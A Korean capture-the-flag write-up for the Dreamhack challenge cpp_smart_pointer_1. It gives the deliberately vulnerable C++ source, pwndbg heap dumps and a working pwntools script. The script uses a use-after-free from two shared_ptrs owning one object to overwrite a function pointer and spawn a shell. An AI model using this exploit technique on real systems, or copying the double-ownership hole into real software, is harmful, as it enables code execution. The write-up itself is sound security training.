[dreamhack] cpp_smart_pointer_1 writeup

1. 문제

thumbnail
cpp_smart_pointer_1

이 문제는 서버에서 작동하고 있는 서비스(cpp_smart_pointer_1)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾아 flag를 획득하세요!
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/63

2. 풀이


#include <iostream>
#include <memory>
#include <csignal>
#include <unistd.h>
#include <cstdio>
#include <cstring>
#include <cstdio>
#include <cstdlib>

char* guest_book = "guestbook\x00";

void alarm_handler(int trash)
{
    std::cout << "TIME OUT" << std::endl;
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void print_menu(){
    std::cout << "smart pointer system!" << std::endl;
    std::cout << "1. change smart pointer" << std::endl;
    std::cout << "2. delete smart pointer" << std::endl;
    std::cout << "3. test smart pointer" << std::endl;
    std::cout << "4. write guest book" << std::endl;
    std::cout << "5. view guest book" << std::endl;
    std::cout << "6. exit system" << std::endl;
    std::cout << "[*] select : ";
}

void write_guestbook(){
    std::string data;
    std::cout << "write guestbook : ";
    std::cin >> data;
    guest_book = (char *)malloc(data.length() + 1);
    strcpy(guest_book, data.c_str());
}

void view_guestbook(){
    std::cout << "guestbook data: ";
    std::cout << guest_book << std::endl;
}

void apple(){
    std::cout << "Hi im apple!" << std::endl;
}

void banana(){
    std::cout << "Hi im banana!" << std::endl;
}

void mango(){
    std::cout << "Hi im mango!" << std::endl;
}

void getshell(){
    std::cout << "Hi im shell!" << std::endl;
    std::cout << "what? shell?" << std::endl;
    system("/bin/sh");
}

class Smart{
public:
    Smart(){
        fp = apple;
    }
    Smart(const Smart&){
    }

    void change_function(int select){
        if(select == 1){
            fp = apple;
        } else if(select == 2){
            fp = banana;
        } else if(select == 3){
            fp = mango;
        } else {
            fp = apple;
        }
    }
    void (*fp)(void);
};

void change_pointer(std::shared_ptr<Smart> first){
    int selector = 0;
    std::cout << "1. apple\n2. banana\n3. mango" << std::endl;
    std::cout << "select function for smart pointer: ";
    std::cin >> selector;
    (*first).change_function(selector);
    std::cout << std::endl;
}

int main(){
    initialize();
    int selector = 0;
    Smart *smart = new Smart();
    std::shared_ptr<Smart> src_ptr(smart);
    std::shared_ptr<Smart> new_ptr(smart);
    while(1){
        print_menu();
        std::cin >> selector;
        switch(selector){
            case 1:
                std::cout << "Select pointer(1, 2): ";
                std::cin >> selector;
                if(selector == 1){
                    change_pointer(src_ptr);
                } else if(selector == 2){
                    change_pointer(new_ptr);
                }
                break;
            case 2:
                std::cout << "Select pointer(1, 2): ";
                std::cin >> selector;
                if(selector == 1){
                    src_ptr.reset();
                } else if(selector == 2){
                    new_ptr.reset();
                }
                break;
            case 3:
                std::cout << "Select pointer(1, 2): ";
                std::cin >> selector;
                if(selector == 1){
                    (*src_ptr).fp();
                } else if(selector == 2){
                    (*new_ptr).fp();
                }
                break;
            case 4:
                write_guestbook();
                break;
            case 5:
                view_guestbook();
                break;
            case 6:
                return 0;
                break;
            default:
                break;
        }
    }
}

2개의 함수가 있다.

  • write_guestbook: 입력받은 데이터 +1 만큼 할당하고 strcpy함수를 실행
  • view_guestbook: guestbook에 있는 데이터를 출력

그리고 src_ptrnew_ptr이 같은 주소를 참조하고있고, change_funtion을 통해 fp에 들어가는 내용을 변경할 수 있다.

이걸 이용해서 getshell함수를 실행해야한다.


heap 상태를 보면 아래와 같다.

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x32a24000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x32a24290
Size: 0x12010 (with flag bits: 0x12011)

Allocated chunk | PREV_INUSE
Addr: 0x32a362a0
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x32a362c0
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x32a362e0
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE
Addr: 0x32a36300
Size: 0xed00 (with flag bits: 0xed01)

pwndbg> x/50gx 0x32a362a0
0x32a362a0:	0x0000000000000000	0x0000000000000021
0x32a362b0:	0x00000000004015b4	0x0000000000000000
0x32a362c0:	0x0000000000000000	0x0000000000000021
0x32a362d0:	0x0000000000402300	0x0000000100000001
0x32a362e0:	0x0000000032a362b0	0x0000000000000021
0x32a362f0:	0x0000000000402300	0x0000000100000001
0x32a36300:	0x0000000032a362b0	0x000000000000ed01
[...]
pwndbg> x/10gx 0x4015b4
0x4015b4 <_Z5applev>:	0x40220abee5894855	0x49e8006042a0bf00

즉, smart pointer0x32a362a0에 들어가있고, fp는 현재 apple이다. 그리고 0x32a362c0, 0x32a362e0이 각각 src_ptr, new_ptr라고 보면 된다.

여기서 src_ptr.reset()을 하면 어떻게 되는지 보자.

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x93de000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x93de290
Size: 0x12010 (with flag bits: 0x12011)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x93f02a0
Size: 0x20 (with flag bits: 0x21)
fd: 0x93f0

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x93f02c0
Size: 0x20 (with flag bits: 0x21)
fd: 0x93f9140

Allocated chunk | PREV_INUSE
Addr: 0x93f02e0
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE
Addr: 0x93f0300
Size: 0xed00 (with flag bits: 0xed01)

pwndbg> x/40gx 0x93f02a0
0x93f02a0:	0x0000000000000000	0x0000000000000021
0x93f02b0:	0x00000000000093f0	0x8502fd9e5dd8b77b
0x93f02c0:	0x0000000000000000	0x0000000000000021
0x93f02d0:	0x00000000093f9140	0x8502fd9e5dd8b77b
0x93f02e0:	0x00000000093f02b0	0x0000000000000021
0x93f02f0:	0x0000000000402300	0x0000000100000001
0x93f0300:	0x00000000093f02b0	0x000000000000ed01

다시 실행하면서 힙 값이 바뀌긴했지만 마지막 바이트만 보면 똑같다. a0c0free된 것을 볼 수 있고, 실제 값이 채워진 것을 보면 apple을 참조하던 a0fp도 이상한 값이 들어가있는 것을 볼 수 있다.

free된 힙은 초기화되지 않고 tcache에 그대로 들어가있기 때문에 uaf 취약점을 활용할 수 있다. 적당한 값으로 write_guestbook을 하면 반환된 힙에 바로 쓸 수 있을 것이고 a0, c0 순으로 할당될 것이다.

p.sendlineafter(b"select : ", b"4")
p.sendlineafter(b"write guestbook : ", p64(elf.symbols["_Z8getshellv"]))


p.sendlineafter(b"select : ", b"4")
p.sendlineafter(b"write guestbook : ", p64(elf.symbols["_Z8getshellv"]))

이렇게 하고 힙 상태를 다시 보자.

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x32aa5000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x32aa5290
Size: 0x12010 (with flag bits: 0x12011)

Allocated chunk | PREV_INUSE
Addr: 0x32ab72a0
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x32ab72c0
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x32ab72e0
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE
Addr: 0x32ab7300
Size: 0xed00 (with flag bits: 0xed01)

pwndbg> x/40gx 0x32ab72a0
0x32ab72a0:	0x0000000000000000	0x0000000000000021
0x32ab72b0:	0x000000000040161d	0x0000000000000000
0x32ab72c0:	0x0000000000000000	0x0000000000000021
0x32ab72d0:	0x000000000040161d	0x0000000000000000
0x32ab72e0:	0x0000000032ab72b0	0x0000000000000021
0x32ab72f0:	0x0000000000402300	0x0000000100000001
0x32ab7300:	0x0000000032ab72b0	0x000000000000ed01

pwndbg> x/10gx 0x40161d
0x40161d <_Z8getshellv>:	0x402232bee5894855	0xe0e8006042a0bf00

smart pointerfp 위치인 b0getshell 함수주소가 들어간 것을 볼 수 있고, new_ptr가 이 b0을 가리키는 것을 볼 수 있다. 따라서 new_ptrfp를 실행시키면 끝이다.

from pwn import *

p = process("./cpp_smart_pointer_1")
#p = remote("host8.dreamhack.games", 13635)
elf = ELF("./cpp_smart_pointer_1")

p.sendlineafter(b"select : ", b"2")
p.sendlineafter(b"Select pointer(1, 2): ", b"1")

p.sendlineafter(b"select : ", b"4")
p.sendlineafter(b"write guestbook : ", p64(elf.symbols["_Z8getshellv"]))


p.sendlineafter(b"select : ", b"4")
p.sendlineafter(b"write guestbook : ", p64(elf.symbols["_Z8getshellv"]))

p.sendlineafter(b"select : ", b"3")
p.sendlineafter(b"Select pointer(1, 2): ", b"2")


p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level3/cpp_smart_pointer_1$ python3 e_cpp_smart_pointer_1.py 

[+] Starting local process './cpp_smart_pointer_1': pid 3509308
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level3/cpp_smart_pointer_1/cpp_smart_pointer_1'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

[*] Switching to interactive mode
Hi im shell!
what? shell?
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)

해결~